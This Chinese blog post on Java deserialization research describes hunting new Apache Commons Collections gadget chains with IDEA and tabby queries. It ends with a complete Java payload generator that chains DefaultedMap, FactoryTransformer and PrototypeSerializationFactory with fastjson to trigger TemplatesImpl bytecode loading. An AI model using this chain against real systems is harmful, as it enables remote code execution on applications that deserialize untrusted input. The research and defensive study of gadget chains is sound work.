CC链再挖掘
1diot9 Lv4

前言

看了网上对CC依赖的再分析,想试着自己挖一下链子。

这里使用idea和tabby两种工具进行挖掘。

现在的假设情况是,常见的transform类全部禁用,LazyMap也被禁用:

img

明确目标:

先找一个能够调用transform的方法(平替LazyMap)。然后再找一个新的transform(),能够直接或间接调用newInstance实例化任意类,从而触发TrAXFilter,最终实现TemplatesImpl加载字节码。

?->transform

LazyMap

最经典的触发方法。

img

DefaultedMap

idea挖掘

跟LazyMap一样,也是get触发:

img

直接对着transform alt+f7就能找到:

img

tabby挖掘

或者用tabby

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method{IS_SERIALIZABLE:TRUE})
match (sink:Method{NAME0:"org.apache.commons.collections.Transformer#transform"})
CALL apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 1) yield path
WHERE NONE(
n IN nodes(path)
WHERE n.CLASSNAME IN [
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer"
]
)
return path

img

剩下的几个都不满足要求,我们需要的是常见的方法,比如get。稍微看几个。

img

这里用transform调transform,LazyMap被ban的情况下可以用。

img

跟上面一样,也是调transform

TransformingComparator

新找到的,能够通过compare触发,可惜不能反序列化,所以没用:

img

transform->newInstance

这里挖掘transform->newInstance

InstantiateTransformer

这是最经典的,就是CC链官方的。

img

FactoryTransformer

tabby挖掘

通过tabby挖掘:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method{IS_SERIALIZABLE:TRUE,NAME:"transform"})
match (sink:Method{NAME:"newInstance",IS_SINK:TRUE})
call tabby.beta.findPath(source, ">", sink, 4, false) yield path
WHERE NONE(
n IN nodes(path)
WHERE n.CLASSNAME IN [
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer"
] or n.CLASSNAME =~ "org.apache.commons.collections4.*"
)
return path

img

img

img

其实跟InstantiateTransformer差不多。

当然,用apoc插件查询也可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
match (source:Method{NAME:"transform",IS_SERIALIZABLE:TRUE})
match (sink:Method{NAME0:"java.lang.reflect.Constructor#newInstance"})
CALL apoc.algo.allSimplePaths(source, sink, "CALL>|ALIAS>", 4) yield path
WHERE NONE(
n IN nodes(path)
WHERE n.CLASSNAME IN [
"org.apache.commons.collections.functors.InstantiateTransformer",
"org.apache.commons.collections.functors.InvokerTransformer",
"org.apache.commons.collections.functors.ChainedTransformer",
"org.apache.commons.collections4.functors.InstantiateTransformer",
"org.apache.commons.collections4.functors.InvokerTransformer"
] or n.CLASSNAME =~ "org.apache.commons.collections4.*"
)
return path

idea挖掘

对着transform方法,alt+f7 在项目和库作用域中查找实现

img

左边的方法一个个看过去,就能找到FactoryTransformer:

img

然后对着这个create方法,alt+f7查询实现

img

这样也能找到。像这种方法比较少的情况,可以先全部看一遍,然后挑简单的先分析。

CloneTransformer

上面的tabby还查询到了这个类,说它的transform也能到newInstance。

img

这里我们跟进一下org.apache.commons.collections.map.MultiValueMap.ReflectionFactory#create
img

这里只能调用无参构造,可利用性比较差。

而且前面的transform方法里,也不能直接指定类,而是通过PrototypeFactory.getInstance(input):

img

这个getInstance里面也是有限制的:

img

try要求我们实例化的类里必须有clone方法。catch里返回的类也无法指定。所以,这里只能调用红框里的三个类的create方法,而无法调用我们一开始想的ReflectionFactory#create

二次反序列化

寻找链子的过程中,意外发现了一个二次反序列化入口。

上面的CloneTransformer,只能调用指定三个类的create方法。当时就一个个跟进看了一下。

PrototypeCloneFactory:

img

只能调用无参方法,比较鸡肋。

InstantiateFactory:

img

就是上面新发现的transform->newInstance的中间类

PrototypeSerializationFactory:

img

这不是一个二次反序列化吗?

这个create,其实在用idea挖掘FactoryTransformer那条链时,就有看到:

img

create可以通过FactoryTransformer#transform直接调用,exp:

这里用fastjson来触发getter了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import com.alibaba.fastjson.JSONArray;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import tools.ReflectTools;
import tools.TemplatesGen;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.util.Base64;

public class DeserTwice extends Payload{
public static void main(String[] args) throws Exception {
DeserTwice deserTwice = new DeserTwice();
String payload = deserTwice.getPayload(null, "CalcAbs.class");
ReflectTools.deser(null, payload);
}


@Override
public String getPayload(byte[] byteCode, String bytePath) throws Exception {
Templates templates = TemplatesGen.getTemplates(byteCode, bytePath);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException("aaa");
ReflectTools.setFieldValue(bad, "val", jsonArray);

Class<?> aClass = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Serializable.class);
declaredConstructor.setAccessible(true);
Factory o = (Factory) declaredConstructor.newInstance(bad);

FactoryTransformer factoryTransformer = new FactoryTransformer(o);

DefaultedMap defaultedMap = new DefaultedMap("any");
ReflectTools.setFieldValue(defaultedMap, "value", factoryTransformer);

TiedMapEntry tiedMapEntry = new TiedMapEntry(defaultedMap, "111a");

BadAttributeValueExpException bad2 = new BadAttributeValueExpException("aaa");
ReflectTools.setFieldValue(bad2, "val", tiedMapEntry);

byte[] bytes = ReflectTools.ser2bytes(bad2);
String s = Base64.getEncoder().encodeToString(bytes);

return s;
}
}

值得一提的是,这个二次反序列化,tabby是找不到的。因为触发二次反序列化的create,是无参方法:

img

根本没有参数去进行污点传播,tabby自然就找不到。

总结

挖掘利用链时,要先搞清楚我们要找一个什么样的方法。在这里,我们要找一个能够直接或间接执行newInstance的transform。这决定了我们怎么去写tabby语法。同时要注意,有些无参构造和无参方法的利用,tabby是找不到的。

在利用idea查找时,要灵活使用alt+f7,并按需勾选用法/实现:

img

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 84k 访客数 访问量